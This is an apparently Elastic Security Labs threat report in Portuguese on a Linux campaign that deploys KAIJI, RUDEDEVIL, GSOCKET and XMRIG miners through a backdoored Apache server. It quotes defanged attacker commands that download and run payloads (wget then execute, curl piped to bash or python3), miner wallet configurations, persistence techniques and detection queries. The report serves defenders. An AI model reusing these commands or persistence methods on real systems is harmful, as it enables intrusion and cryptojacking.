Apostando em bots: investigando malware Linux, mineração de criptomoedas e abuso de API de jogos de azar

Introdução

Nos últimos meses, o Elastic Security Labs descobriu uma sofisticada campanha de malware Linux com como alvo servidores vulneráveis. Os invasores iniciaram o comprometimento em março 2024 explorando um servidor web Apache2. Após obter acesso inicial, os agentes da ameaça implantaram um conjunto complexo de intrusão para estabelecer persistência e expandir seu controle sobre o host comprometido.

Os agentes da ameaça utilizaram uma mistura de ferramentas e malware, incluindo canais C2 disfarçados de processos do kernel, bots do Telegram para comunicação e tarefas cron para execução de tarefas agendadas. Notavelmente, eles implantaram diversas famílias de malware, como KAIJI e RUDEDEVIL, juntamente com malware personalizado. KAIJI, conhecido por seus recursos de DDoS, e RUDEDEVIL, um minerador de criptomoedas, foram usados para explorar recursos do sistema para fins maliciosos.

Nossa investigação revelou um possível esquema de mineração de Bitcoin/XMR que utiliza APIs de jogos de azar, sugerindo que os invasores podem estar conduzindo atividades de lavagem de dinheiro usando hosts comprometidos. Também obtivemos acesso a um compartilhamento de arquivos que hospedava uploads diários de novas amostras do KAIJI com hashes nunca vistos antes, indicando desenvolvimento ativo e adaptação pelos autores do malware.

Esta publicação de pesquisa investiga os detalhes da campanha, fornecendo uma análise abrangente das táticas, técnicas e procedimentos dos invasores. Exploramos como eles estabeleceram o acesso inicial, os métodos usados para persistência e escalonamento de privilégios, e o malware implantado em cada estágio. Além disso, discutimos a infraestrutura de comando e controle, incluindo o uso de GSOCKET e Telegram para comunicação furtiva.

Fluxo de execução

Acesso inicial

Nossa equipe observou um host que foi inicialmente comprometido em março 2024 ao obter execução de código arbitrário em um servidor executando Apache2. A evidência desse comprometimento é vista na execução do comando id por meio do processo Apache2, após o qual vemos o agente da ameaça explorando o servidor web e implantando o malware KAIJI na conta de usuário www-data .

Logo após a implantação do Kaiji, o invasor usou a conta www-data para baixar um script chamado 00.sh da URL http://61.160.194[.]160:35130, que, após investigação mais aprofundada, também hospedou várias versões do malware RUDEDEVIL.

00.sh é um stager que:

• Define seu shell e PATH padrão.
• Exclui vários arquivos de log para apagar rastros de execução.
• Aproveita ps, netstat, lsof e uma lista de nomes comuns de processos de mineração para eliminar qualquer potencial competição de mineração no host comprometido.
• Libera as regras iptables no host, define várias regras iptables para bloquear conexões com portas de destino e pools de mineração específicos e desabilita iptables.
• Por fim, um segundo estágio (sss6/sss68) é baixado e executado, e os rastros de execução são apagados.

A figura abaixo mostra uma versão compactada do stager. As linhas anotadas com [...] são encurtadas para melhorar a legibilidade.

Servidor de arquivos

Por meio do processo do servidor web com backdoor, o invasor baixou e executou malware por meio do seguinte comando:

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

Os arquivos l64 e l86 são baixados de http://107.178.101[.]245:5488, após o que recebem todas as permissões, são executados e removidos. Observando o servidor que hospeda essas amostras de malware, vemos o seguinte:

Este parece ser um servidor de arquivos que hospeda vários tipos de malware para diferentes arquiteturas. O servidor de arquivos utiliza a tecnologia Rejetto. Esses malwares têm datas de upload e contadores de download. Por exemplo, o arquivo download.sh que foi carregado em 10 de setembro já foi baixado 3.100 vezes.

RUDEDEVIL/LUCIFER

Após uma inspeção mais detalhada, o arquivo sss6, que foi baixado e executado, foi identificado como o malware RUDEDEVIL. No início do processo de execução, encontramos uma mensagem incorporada característica desta família de malware:

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

Observamos que os arquivos l64 e l86 hospedados no servidor de arquivos contêm o mesmo malware. Ao analisar o fluxo de execução do malware, vemos que a função principal do malware executa diversas tarefas principais:

• Inicialização do daemon: o processo é convertido em um daemon usando daemon(1, 0).
• Criação de soquete: um soquete é criado e vinculado a uma porta específica.
• Manipulação de sinais: Manipuladores de sinais personalizados são configurados para vários sinais.
• Inicialização do serviço: Vários serviços são iniciados usando SetFILE.
• Tratamento de privilégios: verifica os privilégios de root e ajusta os limites de recursos adequadamente.
• Descriptografia: O malware descriptografa seus blobs de configuração.
• Criação de threads: múltiplas threads são geradas para tarefas como mineração, eliminação de processos e monitoramento do uso da rede e da CPU.
• Loop principal: o programa entra em um loop infinito, onde se conecta repetidamente a um servidor e fica inativo por um período especificado.

Ao examinar a rotina de criptografia, descobrimos que ela utiliza codificação baseada em XOR:

Para decodificar o conteúdo estaticamente, desenvolvemos um snippet básico em Python:

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

Após decodificar a configuração, os seguintes valores são revelados:

• O primeiro valor do domínio C2 nishabii[.]xyz.
• O segundo valor revela opções que serão passadas para o XMRIG.
• O terceiro valor mostra o local do arquivo temporário que o malware usa.
• A quarta e última string mostra o local de download do binário XMRIG.

Gerenciamento de threads no malware

O malware inicia vários threads para lidar com suas operações principais. Vamos explorar como algumas dessas funções funcionam em detalhes.

Compreendendo a função KillPid

Um dos threads executa a função KillPid, projetada para monitorar e gerenciar processos continuamente. A função começa desanexando seu thread atual, permitindo que ele seja executado em segundo plano sem bloquear outros processos. Em seguida, ele entra em um loop infinito, executando suas tarefas repetidamente.

No centro de sua funcionalidade está uma matriz chamada sb_name, que contém os nomes dos processos que o malware deseja encerrar.

A cada dois segundos, a função verifica o sistema em busca de processos listados nesta matriz, recuperando seus IDs de processo (PIDs) usando uma função auxiliar chamada getPidByName. Após cada iteração, ele passa para o próximo processo na lista, garantindo que todos os processos em sb_name sejam manipulados.

Curiosamente, depois de processar todos os elementos na matriz, a função entra em um período de suspensão prolongado por 600 segundos — aproximadamente 10 minutos — antes de retomar suas verificações de processo. Esse período de suspensão prolongado provavelmente é implementado para conservar recursos do sistema, garantindo que o malware não consuma muito tempo da CPU ao monitorar processos.

Compreendendo a função Get_Net_Messages

Outro thread crucial é responsável por monitorar o tráfego de rede, com foco específico na interface de rede eth0 . Essa funcionalidade é tratada pela função getOutRates . A função começa configurando as variáveis necessárias e abrindo o arquivo /proc/net/dev , que contém estatísticas de rede detalhadas para cada interface.

Se o arquivo for aberto com sucesso, o malware lê um bloco de dados — até 1024 bytes — e o processa para extrair as estatísticas de rede relevantes. Ele procura especificamente pela interface eth0 , analisando os dados da taxa de saída usando um método de análise de string padrão. Se bem-sucedida, a função retorna a taxa de saída para eth0; caso contrário, retorna 0, garantindo que o malware continue funcionando mesmo se ocorrer um erro.

Essa rotina permite que o malware monitore silenciosamente a atividade de rede da máquina infectada, provavelmente para rastrear dados enviados ou recebidos pela interface.

Compreendendo a função Get_Cpu_Message

Para monitoramento de CPU, o malware usa a função GetCpuRates . Esta função monitora continuamente o uso da CPU lendo dados de /proc/stat. Semelhante à forma como os dados da rede são manipulados, as estatísticas da CPU são lidas e analisadas, permitindo que o malware calcule o uso da CPU do sistema.

A função opera em um loop infinito, dormindo por um segundo entre cada iteração para evitar sobrecarregar o sistema. Se o arquivo não puder ser aberto por algum motivo, a função registra um erro e sai normalmente. No entanto, enquanto for capaz de ler o arquivo, ele monitora continuamente o uso da CPU, garantindo que o malware permaneça ciente do desempenho do sistema.

Compreendendo a função Send_Host_Message

Talvez o segmento mais crítico seja o responsável por enviar informações do sistema de volta aos operadores de malware. A função _SendInfo executa essa tarefa coletando dados sobre o uso da CPU e da rede do sistema infectado. Ele começa configurando buffers e preparando caminhos de arquivo para coletar os dados necessários. Dependendo do status do sistema, ele formata o uso da CPU e da rede em uma string.

Além disso, a função verifica se um processo específico está em execução no sistema e ajusta sua mensagem formatada adequadamente. Por fim, ele envia esses dados formatados de volta ao servidor de comando e controle por meio de uma conexão de soquete.

Em essência, essa função permite que o malware monitore remotamente a máquina infectada, coletando detalhes importantes, como carga da CPU e atividade de rede. Os operadores podem usar essas informações para avaliar o status de sua infecção e ajustar suas atividades conforme necessário.

Conectando ao servidor de comando e controle (C2)

Quando todos os threads estão ativos e funcionando, o malware muda seu foco para estabelecer uma conexão com seu servidor C2. Isso é gerenciado pela função ConnectServer no thread principal, que lida com a comunicação com o servidor e executa comandos remotamente.

Compreendendo a função ConnectServer

A primeira tarefa que a função ConnectServer executa é estabelecer uma conexão com o servidor C2 usando ServerConnectCli. Após a conexão bem-sucedida, o malware configura o soquete para habilitar as configurações de manutenção de atividade, garantindo que a conexão permaneça estável por longos períodos de tempo.

Depois que a conexão é configurada, o malware coleta várias informações do sistema, incluindo nome do host, informações do usuário, especificações da CPU e detalhes da memória. Essas informações são então enviadas ao servidor como uma carga de dados inicial, fornecendo aos invasores uma visão detalhada da máquina infectada.

Após essa configuração inicial, o malware entra em um loop contínuo onde aguarda e processa comandos do servidor. Os tipos de comandos manipulados são variados e podem incluir tarefas como iniciar um ataque DDoS, interromper ou iniciar operações que exigem uso intensivo da CPU, executar comandos do sistema ou gerenciar atividades de mineração de criptomoedas. O loop continua indefinidamente, garantindo que o malware esteja pronto para executar qualquer comando enviado por seus operadores.

Quando a conexão não é mais necessária, ou quando o malware recebe um comando de encerramento, ele fecha o soquete normalmente, encerrando a sessão com o servidor.

Comandos de comando e controle (C2)

A função ConnectServer processa uma variedade de comandos do servidor C2, cada um projetado para controlar um aspecto diferente do sistema infectado. Aqui está uma análise dos comandos manipulados pelo malware:

• Caso 4: O malware chama a função DealwithDDoS , provavelmente iniciando um ataque de negação de serviço distribuído (DDoS).
• Caso 5: define StopFlag como 1, o que pode sinalizar ao malware para interromper tarefas específicas.
• Caso 6: Baixa um arquivo do servidor usando http_get, altera suas permissões e então o executa. Este comando permite que os invasores executem malware ou scripts adicionais na máquina infectada.
• Caso 7: Executa um comando do sistema usando a função system , fornecendo aos invasores controle direto sobre a linha de comando do sistema.
• Caso 8: define StopCpu como 0, reiniciando quaisquer tarefas de CPU interrompidas anteriormente.
• Caso 9: define StopCpu como 1, interrompendo todas as tarefas da CPU.
• Caso 0xA: Atualiza a configuração de mineração da CPU com novos dados e recupera o PID do processo atual, permitindo que o malware modifique suas operações de mineração de criptomoedas.
• Caso 0xB: define stopxmr como 1, interrompendo efetivamente o minerador XMRIG.
• Caso 0xC: Redefine stopxmr para 0 e recupera o PID do processo atual, retomando a atividade de mineração.

Cada comando dá aos operadores de malware controle preciso sobre como a máquina infectada se comporta, esteja ela participando de um ataque DDoS, executando um novo malware ou gerenciando operações de mineração.

Variantes do malware RUDEDEVIL e configuração do XMRIG

Enquanto o servidor de arquivos mencionado anteriormente estava ativo, observamos diversas versões do malware RUDEDEVIL sendo carregadas. A funcionalidade principal dessas versões permaneceu praticamente a mesma, com a única variação significativa sendo os comandos XMRIG incorporados usados para mineração de criptomoedas.

Cada versão do malware foi configurada para se conectar ao mesmo pool de mineração, c3pool.org, mas com pequenas diferenças nos parâmetros passados para o minerador XMRIG:

• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

Cada um desses comandos direciona o minerador a se conectar ao mesmo pool de mineração, mas especifica carteiras ou configurações diferentes. Ao examinar o aplicativo c3pool , confirmamos que ambos os endereços XMR associados a esses comandos estão atualmente ativos e minerando.

Além disso, por meio dessa análise, conseguimos estimar o lucro total gerado por essas duas campanhas de mineração, destacando o impacto financeiro do malware RUDEDEVIL e sua conexão com operações ilegais de mineração de criptomoedas.

GSOCKET

Para estabelecer persistência, o agente da ameaça baixou e instalou o GSOCKET, um utilitário de rede projetado para permitir comunicação criptografada entre máquinas que estão atrás de firewalls ou NAT. O GSOCKET cria conexões seguras e persistentes por meio da Global Socket Relay Network (GSRN). Esta ferramenta de código aberto inclui recursos como criptografia AES-256, suporte para segurança de comunicação de ponta a ponta e compatibilidade com SSH, netcat e TOR, que permitem transferências de arquivos criptografados, execução remota de comandos e até mesmo a criação de serviços ocultos.

Embora o GSOCKET não seja inerentemente malicioso, seus recursos podem ser utilizados para fins suspeitos.

Uma vez implantado, o GSOCKET executa diversas ações para manter a persistência e ocultar sua presença. Primeiro, ele verifica o sistema em busca de processos ativos do kernel para decidir qual processo será mascarado como:

Em seguida, ele cria o diretório /dev/shm/.gs-1000 para baixar e armazenar seu binário na memória compartilhada. Além disso, por padrão, ele configura um diretório /htop em /home/user/.config/htop/ para armazenar o binário GSOCKET e a chave secreta usada para suas operações.

Em seguida, é configurada uma tarefa cron que executa o binário GSOCKET com a chave secreta a cada minuto.

O binário é executado sob o nome de um processo do kernel usando o comando exec -a [process_name] , aumentando ainda mais a capacidade de evitar a detecção. O cron job inclui um comando codificado em base64 que, quando decodificado, garante que o mecanismo de persistência seja executado regularmente e disfarçado como um processo legítimo do kernel:

Ao decodificar a carga útil, vemos como a chave secreta defunct.dat é usada como um argumento para executar o binário defunct , que é mascarado como [raid5wq] através do uso do comando exec -a :

Além de usar tarefas cron, o GSOCKET tem a capacidade de estabelecer persistência por meio de modificação de perfil de shell, controle de execução (rc.local) e Systemd. GSOCKET enumera possíveis locais de persistência:

O GSOCKET suporta vários webhooks, como integrações com Telegram ou Discord, permitindo controle remoto e notificações:

Por fim, após a instalação, o GSOCKET garante que todos os arquivos criados ou modificados serão marcados com timestamp para tentar apagar qualquer vestígio da instalação:

Esses recursos tornam o GSOCKET uma ferramenta atraente para agentes de ameaças que buscam furtividade e persistência. Nesta campanha, o GSOCKET foi explorado para estabelecer canais secretos de volta aos servidores C2 enquanto tentava evitar a detecção.

Além disso, uma carga PHP foi obtida de um IP externo e salva como 404.php, provavelmente funcionando como um backdoor para acesso futuro. Não conseguimos obter esta carga útil.

Tempo de permanência pós-comprometimento

Após um período de três semanas de silêncio sem atividade perceptível, os agentes da ameaça retomaram as operações utilizando o Python3 integrado para estabelecer uma conexão reversa com um novo servidor de comando e controle.

Após recuperar o acesso ao host, uma versão mais recente do malware KAIJI foi implantada.

Malware KAIJI: uma comparação com amostras anteriores

Ao investigar os arquivos no servidor de arquivos descoberto, vimos um script de shell. Este script de shell parece ser o arquivo principal usado para download em um estágio anterior, garantindo que a arquitetura correta para a vítima seja usada.

O mesmo script Shell é encontrado em outros relatórios onde este script é usado para implantar o KAIJI.

Como parte da nossa investigação, analisamos as amostras de malware KAIJI encontradas no servidor de arquivos e as comparamos com amostras identificadas pelo Black Lotus Labs em 2022. A análise detalhada de Chaos (KAIJI) pode ser encontrada na postagem do blog aqui.

Usando BinDiff, uma ferramenta de comparação binária, comparamos as funções nos binários. A análise revelou que o código em nossa amostra era idêntico à amostra KAIJI identificada anteriormente em 2022.

Embora o código fosse o mesmo, uma diferença crítica se destacou: o endereço do servidor C2. Embora a funcionalidade permanecesse consistente em ambos os binários, eles apontavam para domínios C2 diferentes.

Indo mais a fundo na desmontagem, identificamos uma função chamada main_Link. Esta função é responsável por decodificar o endereço do servidor C2 usado pelo malware.

Uma vez decodificado, a função procura o sufixo |(odk)/*- no endereço e o remove, deixando apenas o domínio e a porta C2. Esse processo garante que o malware possa se comunicar com seu servidor C2, embora o endereço que ele contata possa mudar entre as amostras.

Considerando que alguns recursos foram publicados que fazem engenharia reversa estaticamente no KAIJI, daremos uma olhada mais detalhada em seus comportamentos.

Após a execução, o KAIJI cria vários arquivos nos diretórios /etc/ e /dev/ , /etc/id.services.conf, /etc/32678, /dev/.img e /dev/.old. Esses scripts são lugares para estabelecer persistência.

Dois serviços são configurados, /etc/init.d/linux_kill e crond.service. crond.service é executado pelo Systemd, enquanto linux_kill é usado para persistência do SysVinit.

Após recarregar o daemon Systemd, a primeira conexão de rede com o C2 é tentada.

Em seguida, o arquivo de serviço Systemd Late generator é criado. Mais informações sobre o funcionamento de Systemd e diferentes maneiras de estabelecer persistência por meio desse método podem ser encontradas em nossa recente série de blogs intitulada Linux Detection Engineering - A primer on persisence mechanism.

O KAIJI cria o arquivo /boot/System.img.config , que é um executável executado por meio dos serviços Systemd implantados anteriormente. Este binário, entre outros binários, é outra maneira de estabelecer persistência.

Em seguida, o KAIJI ajusta as políticas SELinux para permitir ações não autorizadas. Ele pesquisa logs de auditoria para operações negadas relacionadas a System.img.conf, gera uma nova política SELinux para permitir essas ações e instala a política com prioridade elevada. Ao fazer isso, o malware ignora restrições de segurança que normalmente bloqueariam sua atividade.

Além disso, ele configura várias formas adicionais de persistência por meio de perfis bash e cria outros dois artefatos maliciosos: /usr/lib/libd1rpcld.so e /.img.

Logo depois, /etc/crontab é alterado por meio de um comando echo, garantindo que o arquivo /.img seja executado pelo root em um cronograma definido.

O KAIJI continua movendo vários binários padrão do sistema para locais incomuns, tentando evitar a detecção ao longo do caminho.

O KAIJI usa o comando renice para conceder ao PID 2957, um dos executáveis plantados pelo KAIJI, a maior prioridade possível (em uma escala de -20 a 19, sendo a menor a prioridade mais alta), garantindo que ele obtenha mais recursos de CPU do que outros processos.

Para evitar a detecção, o KAIJI empregou a técnica de montagem de ligação, um método de evasão de defesa que obscurece atividades maliciosas ao manipular como os diretórios são montados e visualizados dentro do sistema.

Por fim, vemos um rastro de cron executando o /.img, que foi plantado no arquivo /etc/crontab anteriormente.

A saga continua

Duas semanas depois, o backdoor do Apache ficou ativo novamente. Outro backdoor foi baixado pelo usuário www-data através do processo Apache2 usando o comando:

sh -c wget http://91.92.241[.]103:8002/gk.php

O conteúdo desta carga permanece desconhecido. Nesta fase, observamos tentativas de escalonamento manual de privilégios, com os invasores implantando pspy64. Pspy é uma ferramenta de linha de comando para espionagem de processos em sistemas Linux sem exigir permissões de root. Ele monitora processos em execução, incluindo aqueles iniciados por outros usuários, e captura eventos como execuções de tarefas cron. Esta ferramenta é particularmente útil para analisar a atividade do sistema, detectar tentativas de escalonamento de privilégios e auditar os comandos e interações do sistema de arquivos acionados por processos em tempo real. Ele é comumente utilizado por invasores para reconhecimento em cenários pós-comprometimento, dando-lhes visibilidade sobre tarefas do sistema e potenciais vulnerabilidades.

Notavelmente, pspy64 foi executado pelo pai [rcu_preempt] , indicando que os agentes da ameaça deixaram de usar o backdoor do servidor web e passaram a usar o backdoor GSOCKET.

Outras tentativas de escalada de privilégios envolveram a exploração CVE-2021-4034, também conhecido como pwnkit. Esta vulnerabilidade afeta o componente pkexec do pacote PolicyKit em sistemas Linux, permitindo que um usuário sem privilégios execute código arbitrário com privilégios de root. Ao aproveitar essa falha, um invasor pode obter acesso elevado ao sistema, o que pode levar ao controle total sobre a máquina afetada.

Binários personalizados

Logo depois, os invasores tentaram baixar um malware personalizado chamado apache2 e apache2v86 de:

• http://62.72.22[.]91/apache2
• http://62.72.22[.]91/apache2v86

Obtivemos cópias desses arquivos, que atualmente não têm nenhuma detecção no VirusTotal. Entretanto, ao executá-los dinamicamente, observamos falhas de segmentação, e nossa telemetria confirmou atividade de falha de segmentação no host comprometido. Ao longo de uma semana, o agente da ameaça tentou alterar, carregar e executar esses binários mais de 15 vezes, mas devido a falhas de segmentação repetidas, é improvável que ele tenha conseguido executar esse malware personalizado.

Embora os binários não tenham sido executados, eles ainda forneceram insights valiosos durante a engenharia reversa. Descobrimos várias strings codificadas por XOR nas amostras.

A tecla XOR usada para codificar as strings foi identificada como 0x79 (ou o caractere y). Após decodificar as strings, descobrimos fragmentos de um cabeçalho de solicitação HTTP que o malware estava tentando construir:

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

Isso indica que o malware estava no processo de construção de solicitações HTTP. Entretanto, com base na natureza incompleta dos cabeçalhos e nas repetidas falhas na execução, fica claro que esse software ainda não estava totalmente desenvolvido ou operacional.

Reconhecimento adicional

Os invasores continuaram a usar ferramentas do The Hacker's Choice, baixando e executando whatserver.sh.

Este script Shell foi projetado para coletar e exibir informações do servidor. Ele extrai detalhes como nomes de domínio totalmente qualificados (FQDNs) de certificados SSL, arquivos de configuração Nginx e Apache, juntamente com informações de recursos do sistema, como uso de CPU e memória, detalhes de virtualização e configurações de rede. O script também pode resumir atividades recentes, incluindo os últimos usuários conectados e os serviços atualmente escutados.

Atividades de mineração

Após quase duas semanas de tentativas de exploração manual, os agentes da ameaça cessaram seus esforços para aumentar os privilégios, provavelmente por não terem conseguido obter acesso root. Em vez disso, eles estabeleceram a persistência como o usuário www-data , aproveitando o GSOCKET para configurar uma conexão SSL, que foi disfarçada como um processo do kernel chamado [mm_percpu_wq].

Depois de decodificar o conteúdo base64, obtemos uma saída com aparência muito familiar:

Por meio de nossas regras comportamentais, vemos o agente da ameaça listando as entradas do crontab do usuário atual e ecoando uma carga diretamente no crontab.

Este comando tenta baixar http://gcp.pagaelrescate[.]com:8080/ifindyou a cada minuto e enviá-lo para o bash. Observando o conteúdo de ifindyou, vemos o seguinte script Bash:

Este script reúne informações de nome de host e IP, baixa o arquivo SystemdXC de http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG), armazena-o em /tmp/SystemdXC, extrai o arquivo e o executa com os parâmetros necessários para iniciar a mineração de Bitcoin.

Ao examinar o comando de mineração, podemos ver como o malware configura o XMRIG:

Este comando se conecta ao pool de mineração unmineable.com , usando o nome do host da máquina infectada como um identificador no processo de mineração. No momento em que este artigo foi escrito, havia 15 trabalhadores ativos minerando Bitcoin para o endereço de carteira 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz.

Após uma investigação mais aprofundada do endereço Bitcoin, descobrimos que esse endereço realizou uma única transação.

Curiosamente, o endereço de saída dessa transação aponta para uma carteira ativa bem conhecida associada à Binance, indicando que os invasores podem ter transferido seus ganhos de mineração para uma plataforma de câmbio.

Ao retornar nosso foco para o script, também vemos dois comandos comentados, o que ficará mais claro mais tarde. O script executa:

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

Olhando para esta carga útil, podemos ver o seguinte conteúdo:

Esta etapa verifica a saída do comando e a envia para um bot de bate-papo do Telegram. Por meio da nossa regra comportamental do Telegram, podemos ver que uma solicitação POST do Telegram se parece com isto:

A tarefa cron configurada durante esse estágio é executada no minuto 0, a cada 4 horas. Este trabalho executa:

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

O script Python baixado automatiza interações com um jogo de apostas online por meio de solicitações HTTP. O script inclui funções que lidam com autenticação de usuário, apostas, processamento de resultados e envio de dados para um servidor remoto.

Após uma análise mais detalhada, identificamos os seguintes componentes principais do roteiro:

Variáveis globais:

• usuario: Armazena o ID do usuário para gerenciar a sessão.
• apuesta: Representa o valor da aposta.
• ganancias: Rastreia os ganhos e perdas.
• saldo_actual: Contém o saldo da conta corrente.

Compreendendo a função obteneruid

Esta função autentica o usuário enviando uma solicitação POST com os cabeçalhos e dados JSON necessários para o servidor remoto. Se o usuário ainda não estiver definido, ele inicializa uma nova sessão e recupera o saldo da conta. Após a autenticação bem-sucedida, ele retorna um UUID de sessão, que é usado para interações futuras no jogo.

Compreendendo a função enviardatos

Esta função envia dados do jogo ou atualizações de status de volta para gcp.pagaelrescate[.]com, registrando os resultados ou ações realizadas durante o jogo. Ele usa uma solicitação GET simples para transmitir esses dados ao servidor remoto.

Compreendendo a função hacerjugada

A função hacerjugada simula o processo de apostas para um número definido de rodadas. Ele envia solicitações POST para fazer apostas, atualiza os ganhos ou perdas após cada rodada e calcula os resultados gerais. Se uma rodada de bônus for acionada, ele chama completarbono() para manipular quaisquer detalhes do jogo de bônus. Entre cada rodada de apostas, a função aplica um atraso de 30 segundos para imitar o jogo natural e evitar detecção.

Compreendendo a função completarbono

Quando uma rodada de bônus é acionada, esta função conclui a rodada enviando uma solicitação contendo o ID da sessão e o ID da rodada. Com base no resultado, ele atualiza o saldo da conta e registra os ganhos ou perdas. Qualquer alteração no saldo é enviada de volta ao servidor remoto usando a função enviardatos() .

Provavelmente usado para fins de teste

É importante observar que esse script provavelmente está sendo usado para fins de teste, pois ele interage com a versão demo do aplicativo de apostas. Isso sugere que os invasores podem estar testando a automação de ações de jogo ou tentando encontrar vulnerabilidades no aplicativo antes de passar para a versão ativa. O uso de um ambiente de demonstração implica que eles estão refinando sua abordagem, potencialmente em preparação para ataques mais sofisticados ou generalizados.

REF6138 através de MITRE ATT&CK

A Elastic usa a estrutura MITRE ATT&CK para documentar táticas, técnicas e procedimentos comuns que ameaças persistentes avançadas usam contra redes corporativas. Durante esta investigação, identificamos as seguintes táticas, técnicas e subtécnicas:

Táticas, técnicas e subtécnicas do MITRE ATT&CK utilizadas

Detectando REF6138

O Elastic Security implementa uma abordagem multicamadas para detecção de ameaças, aproveitando regras comportamentais de SIEM e endpoint, assinaturas YARA e abordagens de detecção de anomalias baseadas em ML. Esta seção descreve as detecções criadas pelo Elastic Security que desempenham um papel importante na captura das ameaças identificadas.

Detecção

As seguintes regras de detecção foram observadas durante a análise deste conjunto de intrusão:

• Detecção de Segfault
• Marcação de tempo usando comando de toque
• Criação ou modificação da configuração do shell
• Sistema binário movido ou copiado

Prevenção

Os seguintes eventos de prevenção de comportamento foram observados durante a análise deste conjunto de intrusão:

• Linux Reverse Shell via Suspicious Utility
• Evasão de Defesa via Montaria de Amarração
• Execução de processo filho suspeito do Linux via shell interativo
• Potencial ferramenta de hack do Linux lançada
• Escalonamento de privilégios via exploração PKEXEC
• Potencial Worm SSH-IT SSH baixado
• Tarefa agendada executando binário em local incomum

As seguintes assinaturas YARA estão disponíveis para detectar as amostras de malware KAIJI e RUDEDEVIL tanto em arquivo quanto na memória:

• Linux.Genérico.Ameaça
• Linux.Hacktool.Flooder

Os seguintes alertas de regras de endpoint, que serão lançados em breve, foram observados durante a análise deste conjunto de intrusão:

• Shell potencial via servidor web
• Injeção de código potencial do servidor web
• Shell potencial executado pelo usuário do servidor web
• Decodificar atividade via servidor web
• Linux Telegram API Request
• Execução de eco suspeito

Consultas de caça no Elastic

Os eventos para KQL e EQL são fornecidos com o Elastic Agent usando a integração do Elastic Defend. Consultas de busca podem retornar sinais altos ou falsos positivos. Essas consultas são usadas para identificar comportamentos potencialmente suspeitos, mas uma investigação é necessária para validar as descobertas.

Consultas EQL

Usando a seção Timeline da Security Solution no Kibana na aba “Correlation”, você pode usar as consultas EQL abaixo para procurar comportamentos semelhantes:

Execução potencial do XMRIG

A seguinte consulta EQL pode ser usada para procurar execuções XMRIG em seu ambiente.

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

Acesso de gravação MSR habilitado

O XMRIG utiliza o modprobe para habilitar o acesso de gravação ao MSR. Essa atividade é anormal e não deve ocorrer por padrão.

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

